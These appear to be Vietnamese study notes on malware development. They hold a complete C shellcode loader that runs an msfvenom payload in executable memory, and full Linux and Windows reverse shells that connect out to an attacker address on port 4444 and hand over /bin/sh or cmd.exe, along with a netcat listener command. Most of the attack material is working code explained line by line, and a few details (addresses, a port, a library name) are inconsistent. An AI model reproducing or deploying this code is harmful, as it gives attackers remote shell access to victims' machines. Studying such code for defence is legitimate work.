# Malware_Development
## What is malware development?
**Malware** là một lọai phầ mềm được thiết kế để thực hiện các hành động độc hại, ví dụ như giành quyền truy cập trái phép vào máy tính hoặc đánh cắp thông tin nhạy cảm từ máy tính. Malware có thể được viết bằng bất kỳ ngôn ngữ lập trình nào, bao gồm C, C++, C#, Python, Go, PowerShell, và Rust.
### A simple example
Ví dụ, một malware đơn giản nhất viết bằng C:
```cpp=
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// the actual payload
// using msfvenom for windows/x64/messagebox with text and title, excluding certain characters
unsigned char actual_payload[] =
"\x48\x31\xc9\x48\x81\xe9\xdc\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xd6\x50\xe0\xd0\x82\x17\x05\xe9\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2a\x18\x61\x34\x72\xe8"
"\xfa\x16\x3e\x80\xe0\xd0\x82\x56\x54\xa8\x86\x02\xb1\x86\xca"
"\x26\xd7\x8c\x9e\xdb\xb2\xb0\xbc\x5f\x8e\xbb\xce\x6e\xa8\x5b"
"\xd0\x37\x3b\xa1\x5d\x22\xb0\xee\xca\x18\xb2\xa3\x9c\x1d\xd1"
"\x19\xca\x26\xc5\x45\xea\x31\x9c\xd2\xae\x37\x44\x28\x1f\x5d"
"\xa1\xd1\x43\xf5\xe8\xbb\x97\x01\xde\x98\x09\x45\x25\xd7\x5d"
"\x12\xdc\x98\x83\xc7\x3b\x62\x56\xd8\xe0\xd0\x82\x5f\x80\x29"
"\xa2\x3f\xa8\xd1\x52\x47\x3b\x62\x9e\x48\xde\x94\x09\x57\x25"
"\xa0\xd7\x80\x03\x8c\xca\xe8\xcc\xd7\x97\xdb\xd4\x58\xca\x16"
"\xd3\xa4\xe7\x99\xa8\xe1\x42\xbb\x44\x28\x1f\x5d\xa1\xd1\x43"
"\x2f\xe5\x9c\x27\x6e\xac\xd3\xce\x33\x0d\xac\xef\x81\x95\x06"
"\xda\x29\x41\x62\x96\x74\xa9\xd1\x52\x71\x3b\xa8\x5d\x5c\xa8"
"\xee\xc6\x9c\x45\xf5\x9f\x51\x30\xee\xc3\x9c\x01\x61\x9e\x51"
"\x30\x91\xda\x56\x5d\xb7\x8f\x0a\xa1\x88\xc3\x4e\x44\xb3\x9e"
"\xd3\x0c\xf0\xc3\x45\xfa\x09\x8e\x11\xb9\x8a\xbc\x5f\x8e\xfb"
"\x3f\x19\x1f\x2f\x7d\x4a\x4c\x2e\x17\x50\xe0\xd0\x82\x29\x4d"
"\x64\x43\xae\xe0\xd0\x82\x29\x49\x64\x53\x5a\xe1\xd0\x82\x5f"
"\x34\x20\x97\xea\xa5\x53\xd4\x10\xfa\x3c\x9e\x61\x29\x91\x38"
"\xe7\xb0\x4b\x80\xaf\x35\x98\xe7\x7b\x69\x86\xf6\x27\x8f\xa2"
"\xee\x73\x05\xd4\x88\x7e\xce\x8e\xbf\x17\x05\xe9";
unsigned int actual_payload_length = sizeof(actual_payload);
int main(void) {
void * memory_for_payload; // buffer for storing the payload
BOOL operation_status;
HANDLE thread_handle;
DWORD previous_protection_level = 0;
// reserve and commit memory for the payload
memory_for_payload = VirtualAlloc(0, actual_payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// transfer the payload to the allocated buffer
RtlMoveMemory(memory_for_payload, actual_payload, actual_payload_length);
// mark the new buffer as executable
operation_status = VirtualProtect(memory_for_payload, actual_payload_length, PAGE_EXECUTE_READ, &previous_protection_level);
if ( operation_status != 0 ) {
// execute the payload
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) memory_for_payload, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
}
```
Quy trình cơ bản như sau: chương trình sẽ cấp phát một vùng nhớ:
```cpp=
// reserve and commit memory for the payload
memory_for_payload = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
```
Sau đó, chương trình sẽ sao chép payload vào vùng nhớ đã cấp phát:
```cpp=
RtlMoveMemory(memory_for_payload, actual_payload, payload_len);
```
Tiếp theo, nó tạo một luồng (thread) mới và bắt đầu chạy payload trong luồng đó:
```cpp=
if ( operation_status != 0 ) {
// execute the payload
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)
memory_for_payload, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
```
### Type of malware
Một số dạng mã độc phổ biến nhất bao gồm **virus**, **worm** và **trojan**:
- Virus: là đoạn mã tự gắn vào các chương trình hợp pháp, có khả năng tự nhân bản và thường gây tổn hại đến hệ thông trong quá trình hoạt động.
- Worm: có đặc điểm tương tự virus nhưng có khả năng tự lây lan qua mạng mà không cần sự tương tác trực tiếp từ người dùng.
- Trojan: là phần mêm giả dạng hợp pháp nhưng ẩn chứa mục đích độc hại, thường được sử dụng để cài cắm trong backdoor hoặc chiếm quyền kiếm soát hệ thống.
**Một số malware behavior phổ biến:**
- **Backdoor:** Cung cấp cho các attacker bỏ qua cơ chế xác thực hoặc mã hóa chuẩn của hệ thông, sản phẩm hoặc các giao thức. Backdoor cho phép truy cập ẩn và điều khiển từ xa máy của nạn nhân, tạo điều kiện thực thi nhiều hành vi độc hại.
- **Downloader:** là loại mã độc cóc chức năng tải xuống và triển khai thêm phần mềm độc hài khác sau khi xâm nhập hệ thống. Downloader thương được sử dụng trong multi-stage-attackes(các chiến dịch tấn công đa tầng) nhằm đưa vào các payload tinh vi hơn.
- **Trojan:** là phần mềm độc hại giả dạng chương trình hợp pháp. Trojan thường được sửu dụng để giám sát người dùng, đánh cắp dữ liệu nhảy cảm và mở backdoor vào hệ thống.
- **Remote Access Trojan(RAT):** là một biến thể đặc biệt nguy hiểm của trojan, cho phép các attacker giành quyển kiểm soát toàn diện hệ thống bị nhiễm. RAT có thể cài đặt thêm mã độc, trích xuất dữ liệu, thao túng cài đặt hệ thống, vận hành hoặc chấm dứt tiến trình. RAT thường khó bị phát hiện bởi phần mềm chống mã độc truyền thống.
- **Stealer(Trình đánh cắp thông tin):** được thiết kế nhằm thu thập dữ liệu nhạy cảm từ hệ thống nạn nhân, bao gốm mật khẩu, thông tin thẻ tín dụng và dữ liệu định danh cá nhân. Các thông tin này có thể được sử dụng cho việc đánh cắp danh tính (identity theft), gian lận tài chính hoặc buôn bán trên dark web.
- **Bootkit:** là một biến thể tinh vi của rootkit, xâm nhập vào **Master Boot Record(MBR)**. Bootkit can thiệp vào quá trình khởi động, đảm bảo mã độc được nạp trước hệ điều hành, qua đó tránh được nhiều cơ chế phát hiện.
- **Reverse Shell:** là cơ chế trong đó máy nạn nhân chủ động thiết lập kết nôi đến máy tấn công, thường thông qua một cổng lắng nghe. **Reverse shell** cho phép tạo kênh liên lạc ngầm vượt qua firewall hoặc chinh sách lọc gói tin, qua đó cung cấp quyền truy cập dòng lệnh hoặc thâm chí kiểm soát toàn bộ hện thống mục tiêu.
### Reverse Shell
**Reverse shell** có thể tận dụng ác cổng outbound tiêu chuẩn, ví dụ như 80, 443, 8080, v.v. Reserse shell thường được triển khai khi firewall của máy nạn nhân chặn các kết nối inbound đến một cổng cụ thể. Các red teamer và pentester thường sử dụng reverse shell để vượt qua hạn chế này.
Tuy nhiên, vẫn tồn tại một hạn chế quan trọng: reverse shell có thể làm lộ máy chủ điều khiển (C2 server), và các dịch vụ giám sát an ninh mạng (Network Security Monitoring – NSM) có khả năng phát hiện dấu vết hoạt động.
**Ba giai đoạn để thiết lập một reverse shell:**
1. Khai thác lỗ hổng hệ thống hoặc mạng cho phép thực thi mã trên mục têu.
2. Đối tượng tấn công cài đặt listener trên hệ thống của mình để chờ kết nối.
3. Inject mã reverse shell vào hệ thống dễ bị tổn thương, từ đó thiết lập kênh liên lạc ngược.
**Reverse shell qua kỹ thuật Social Engineering**
Trong các cuộc tấn công thực tế, reverse shell không chỉ được khai thác qua lỗ hổng hệ thống mà còn có thể được thiết lập thông qua tấn công xã hội (social engineering). Ví dụ: phần mềm độc hại cài đặt trên máy trạm thông qua email lừa đảo (phishing email) hoặc trang web độc hại có thể tự động khởi tạo kết nối ra ngoài đến máy chủ điều khiển, từ đó cung cấp cho kẻ tấn công khả năng reverse shell.
### Practical example: reverse shell
#### Reverse shell in Linux
Trước hết, hãy bắt đầu viết một reverse shell đơn giản nhất cho máy Linux: [reverse_shell_linux](https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter01/02-reverse-shell-linux/hack2.c)
1. Đầu tiên, include các header cần thiết
```cpp=
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
```
----
#### <arpa/inet.h>
- Header `arpa/inet.h` - tập hợp các định nghĩa và hàm hỗ trợ thao tác trên Internet(TCP/IP)
**Decription:**
Khi include `<arpa/inet.h>`, bạn sẽ có:
- Kiểu dữ liệu:
- `in_port_t` (định nghĩa cổng mạng - port)
- `in_addr_t` (định nghĩa địa chỉ IP 32 - bit)
- Cấu trúc dữ liệu:
- `struct in_addr` chứa địa chỉ IPv4 (thường là một `uint32_t`).
**Các hàm chuyển đổi Byte Order(endianness)**
```cpp=
uint32_t htonl(uint32_t hostlong);
uint16_t htons(uint16_t hostshort);
uint32_t ntohl(uint32_t netlong);
uint16_t ntohs(uint16_t netshort);
```
**Các hàm xử lý địa chỉ IP**
```cpp=
in_addr_t inet_addr(const char *cp);
in_addr_t inet_lnaof(struct in_addr in);
struct in_addr inet_makeaddr(in_addr_t net, in_addr_t lna);
in_addr_t inet_netof(struct in_addr in);
in_addr_t inet_network(const char *cp);
char *inet_ntoa(struct in_addr in);
```
- `inet_addr`: chuyển địa chỉ IP dạng chuỗi "192.168.1.1" sang dạng số in_addr_t.
- `inet_ntoa`: chuyển ngược lại từ nhị phân (struct in_addr) sang chuỗi (chuẩn dotted-decimal).
- `inet_makeaddr`: tạo địa chỉ IP từ số mạng (net) và số host (lna).
`inet_netof`: lấy phần “số mạng” từ một địa chỉ IP.
- `inet_lnaof`: lấy phần “local network address” (phần host) từ địa chỉ IP.
- `inet_network`: phân tích chuỗi IP thành số mạng.
#### <netinet/in.h>
- Head `<netinet/in.h>` - cung cấp các định nghĩa cho Internet Protocol family (Họ giao thức Internet, bao gồm TCP/IP)
- Khi bạn include header này, bạn có quyền truy cập vào các kiểu dữ liệu, cấu trúc và macro cần thiết để lập trình socket Internet(IPv4)
**Decription:**
- Kiểu dữ liệu(typedef):
- `in_port_t`: kiểu số nguyên không dấu 16-bit → đại diện cho cổng (port).
- `in_addr_t`: kiểu số nguyên không dấu 32-bit → đại diện cho địa chỉ IP (IPv4).
- Cấu trúc `struct in_addr`:
```cpp=
struct in_addr {
in_addr_t s_addr; // địa chỉ IPv4 dạng nhị phân (32-bit, network byte order)
};
```
-> Dùng để lưu trữ địa chỉ IPv4
- Cấu trúc `struct sockaddr_in`:
```cpp=
struct sockaddr_in {
sa_family_t sin_family; // họ giao thức (AF_INET cho IPv4)
in_port_t sin_port; // số cổng (network byte order)
struct in_addr sin_addr; // địa chỉ IPv4
unsigned char sin_zero[8]; // padding (dùng để căn chỉnh kích thước)
};
```
- `sockaddr_in` là cấu trúc tiêu chuẩn để lưu trữ địa chỉ của socket IPv4.
- Khi dùng các hàm socket (`bind`, `connect`, `sendto`, …), ta thường ép kiểu (cast) từ` struct sockaddr_in*` sang `struct sockaddr*`.
**Các macro cho giao thức (protocol level)**
Các hằng số dùng trong `getsockopt()` và `setsockopt() `(tham số `level`):
- `IPPROTO_IP` – giao thức IP (dùng chung).
- `IPPROTO_ICMP` – giao thức ICMP (ping, thông điệp điều khiển).
- `IPPROTO_TCP` – giao thức TCP.
- `IPPROTO_UDP` – giao thức UDP.
**Các macro cho địa chỉ đặc biệt**
- `INADDR_ANY` – địa chỉ 0.0.0.0 → nghĩa là “mọi địa chỉ cục bộ” (dùng trong` bind()` để chấp nhận kết nối từ bất kỳ interface nào).
- `INADDR_BROADCAST` – địa chỉ broadcast (255.255.255.255).
**Các hàm chuyển đổi byte order**
Header này cũng hiển thị các hàm từ `<arpa/inet.h>`:
-`ntohl()`, `ntohs()`, `htonl()`, `htons()` → chuyển đổi giữa host byte order ↔ network byte order.
#### <sys/socket.h>
- Đây là header trung tâm cho lập trình socket trên hệ điều hành Unix/Linux.
- Nó cung cấp các kiểu dữ liệu, cấu trúc, macro và hàm để làm việc với socket - công cụ nền tảng cho giao tiếp mạng (TCP/UDP).
Kiểu dữ liệu
- `socklen_t`: kiểu số nguyên dùng cho độ dài địa chỉ.
- `sa_family_t`: kiểu dữ liệu chỉ loại địa chỉ (IPv4, IPv6...).
Cấu trúc quan trọng
- `struct sockaddr`: lưu thông tin địa chỉ socket (dạng chung).
- `struct msghdr`: dùng khi gửi/nhận thông điệp kèm dữ liệu phụ (ancillary data).
- `struct cmsghdr`: mô tả dữ liệu phụ.
- `struct linger`: điều khiển hành vi khi đóng socket.
Macro (hằng số)
- Loại socket: `SOCK_STREAM` (TCP), `SOCK_DGRAM` (UDP)...
- Family: `AF_INET` (IPv4), `AF_UNIX` (local).
- Tùy chọn socket: `SO_REUSEADDR`, `SO_KEEPALIVE`, `SO_RCVBUF`...
- Cờ (flags): `MSG_PEEK`, `MSG_WAITALL`, `MSG_OOB`...
Các hàm socket cơ bản
- Tạo kết nối: `socket()`, `connect()`, `bind()`, `listen()`, `accept()`.
- Gửi/nhận dữ liệu: `send()`, `sendto()`, `recv()`, `recvfrom()`.
- Thiết lập tùy chọn: `getsockopt()`, `setsockopt()`.
- Đóng kết nối: `shutdown()`.
----
Những dòng include này dùng để nhập các thư viện cần thiết cho giao tiếp mạng và tạo tiến trình.
Địa chỉ IP của attacker:
```cpp=
const char* attacker_ip = "10.10.1.5";
```
Đây là địa chỉ IP của máy kẻ tấn công mà reverse shell sẽ kết nối ngược trở lại.
Bước tiếp theo, chuẩn bị địa chỉ của nạn nhân:
```cpp=
struct sockaddr_in target_address;
target_address.sin_family = AF_INET;
target_address.sin_port = htons(4444);
inet_aton(attacker_ip, &target_address.sin_addr);
```
Đoạn code này thiết lập một cấu trúc `sockaddr_in` với địa chỉ IP và cổng đích.
- Địa chỉ IP được chuyển từ dạng dễ đọc của con người sang dạng `struct in_addr` bằng hàm `inet_aton()`.
- Cổng được chỉ định là `4444` và được chuyển sang network byte order băng `htons()`
Sau đó tạo một socket mới:
```cpp=
int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);
```
Kết nối với attacker's server:
```cpp=
connect(socket_file_descriptor, (struct sockadr *)&target_address, sizeof(target_address));
```
Hàm `connect()` sẽ cố gắng kết nối socket đến địa chỉ IP và cổng đã chỉ định.
Phần quan trọng nhất: chuyển hướng input, output, và error chuẩn về socket:
```cpp=
for (int index = 0; index < 3; index++) {
// dup2(socket_file_descriptor, 0) - liên kết với stdin
// dup2(socket_file_descriptor, 1) - liên kết với stdout
// dup2(socket_file_descriptor, 2) - liên kết với stderr
dup2(socket_file_descriptor, index);
}
```
Hàm `dup2()` được dùng để nhân bản (duplicate) socket file descriptor thành các file descriptor của:
- stdin (0) – đầu vào chuẩn,
- stdout (1) – đầu ra chuẩn,
- stderr (2) – lỗi chuẩn.
Điều này có nghĩa là tất cả dữ liệu nhập/xuất từ shell về sau sẽ được gửi qua kết nối mạng này.
Khởi chạy một shell
```cpp=
execve("/bin/sh", NULL, NULL);
```
Cuối cùng, hàm `execve()` được gọi để thay thế tiến trình hiện tại bằng một tiến trình mới.
Trong trường hợp này, nó sẽ khởi chạy một shell mới là `/bin/sh`.
Nhờ các lời gọi `dup2()` trước đó, shell này sẽ giao tiếp qua kết nối mạng (tất cả input/output/error đều đi qua socket).
#### Reverse shell for Windows
1. Đầu tiên, khởi tạo thư viện socket bằng lời gọi hàm WSAStartup.
2. Tạo socket
3. Kết nối socket tới máy chủ và cổng của attacker
4. Khởi chạy` cmd.exe`
```cpp=
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "w2_32")
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
```
- `<winsock2.h>`: thư viện hỗ trợ hàm socket trên Windows.
- `WSADATA`: cấu trúc lưu trữ thông tin về phiên làm việc của Winsock.
- `SOCKET`: kiểu dữ liệu đại diện cho socket chính dùng để kết nối.
- `sockaddr_in`: cấu trúc chứa thông tin về địa chỉ IP và cổng kết nối.
- `STARTUPINFO` và `PROCESS_INFOMATION`: các cấu trúc của Windows API được dùng để tạo và quản lý tiến trình `cmd.exe`.
`WSADATA socketData`: cấu trúc chứa thông tin khi khởi tạo Winsock (như version, trạng thái).
`SOCKET mainSocket`: biến kiểu SOCKET, đại diện cho socket TCP mà chương trình sẽ tạo.
`struct sockaddr_in connectionAddress`: cấu trúc lưu thông tin địa chỉ IP + port để kết nối.
`STARTUPINFO startupInfo`: cấu trúc chứa thông tin khi tạo process (ở đây là cmd.exe).
Tiếp theo, thiết lập địa chỉ IP và cổng để kết nối ngược
```cpp=
char *attackerIP = "10.10.1.5"; // địa chỉ máy tấn công(máy lăng nghe kết nối)
short attackerPort = 4444; // cổng mà máy tấn công lắng nghe
```
Khởi tạo socket(Thư viện Windows Sockets được khởi tạo bằng WSAStartup, sau đó một socket được tạo bằng WSASocket)
```cpp=
// initialize socket library
WSAStartup(MAKEWORD(2, 2), &socketData);
// create socket object
mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,
NULL, (unsigned int)NULL, (unsigned int)NULL);
```
`WSAStartup(MAKEWORD(2, 2), &socketData)`: gọi hàm để khởi tạo thư viện Winsock
`WSASocket`: tạo 1 socket với tham số
- `AF_INET` chỉ định sử dụng IPv4
- `SOCK_STREAM`: xác định loại socket TCP
- `IPPROTO_TCP`: chọn giao thức TCP
Sau đó, cấu hình địa chỉ socket được điền với thông tin IP và cổng, và một kết nối được thiết lập bằng hàm `WSAConnet`
```cpp=
connectionAddress.sin_family = AF_INET;
connectionAddress.sin_port = htons(attackerPort);
connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);
```
`sin_family = AF_INET`: xác định họ giao thức là IPv4.
`sin_port = htons(attackerPort)`: chỉ định số cổng tấn công, được chuyển đổi sang dạng network byte order bằng hàm htons.
`sin_addr.s_addr = inet_addr(attackerIP)`: gán địa chỉ IP của attacker sau khi chuyển đổi sang định dạng nhị phân 32-bit.
```cpp=
WSAConnect(mainSocket, (SOCKADDR *)&connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL);`
```
WSAConnect: tạo kết nối TCP từ socket mainSocket tới máy 10.0.2.15:444.
Nếu máy 10.0.2.5 đang mở port 4444 bằng `nc -lnvp 4444` thì sẽ kết nối thành công
Thiết lập logic khởi tạo tiến trình:
Cấu truc `STARTUPINFO` được cấu hình để sử dụng socket làm standard input, standard output, standard error handles, Sau đó hàm `CreateProcess` được gọi để khởi chạy command prompt với các luồng I/O đã được chuyển hướng
```cpp=
memset(&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE)mainSocket;
```
- Chuẩn bị cấu hình process:
- memset(..., 0, ...): gán toàn bộ startupInfo = 0.
- startupInfo.cb: kích thước của cấu trúc.
- dwFlags = STARTF_USESTDHANDLES: báo rằng process mới sẽ dùng các handle chuẩn (stdin, stdout, stderr) mà ta chỉ định.
- hStdInput / hStdOutput / hStdError: gán cả 3 vào mainSocket
-> input/output/error của cmd.exe sẽ được chuyển qua socket.
```cpp=
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);
exit(0);
```
Tạo process:
- CreateProcess: chạy cmd.exe.
- Vì startupInfo đã redirect stdin/stdout/stderr sang socket → mọi lệnh nhập từ attacker sẽ chạy trong cmd.exe, kết quả cũng trả về attacker.
-exit(0): kết thúc chương trình sau khi tạo xong.
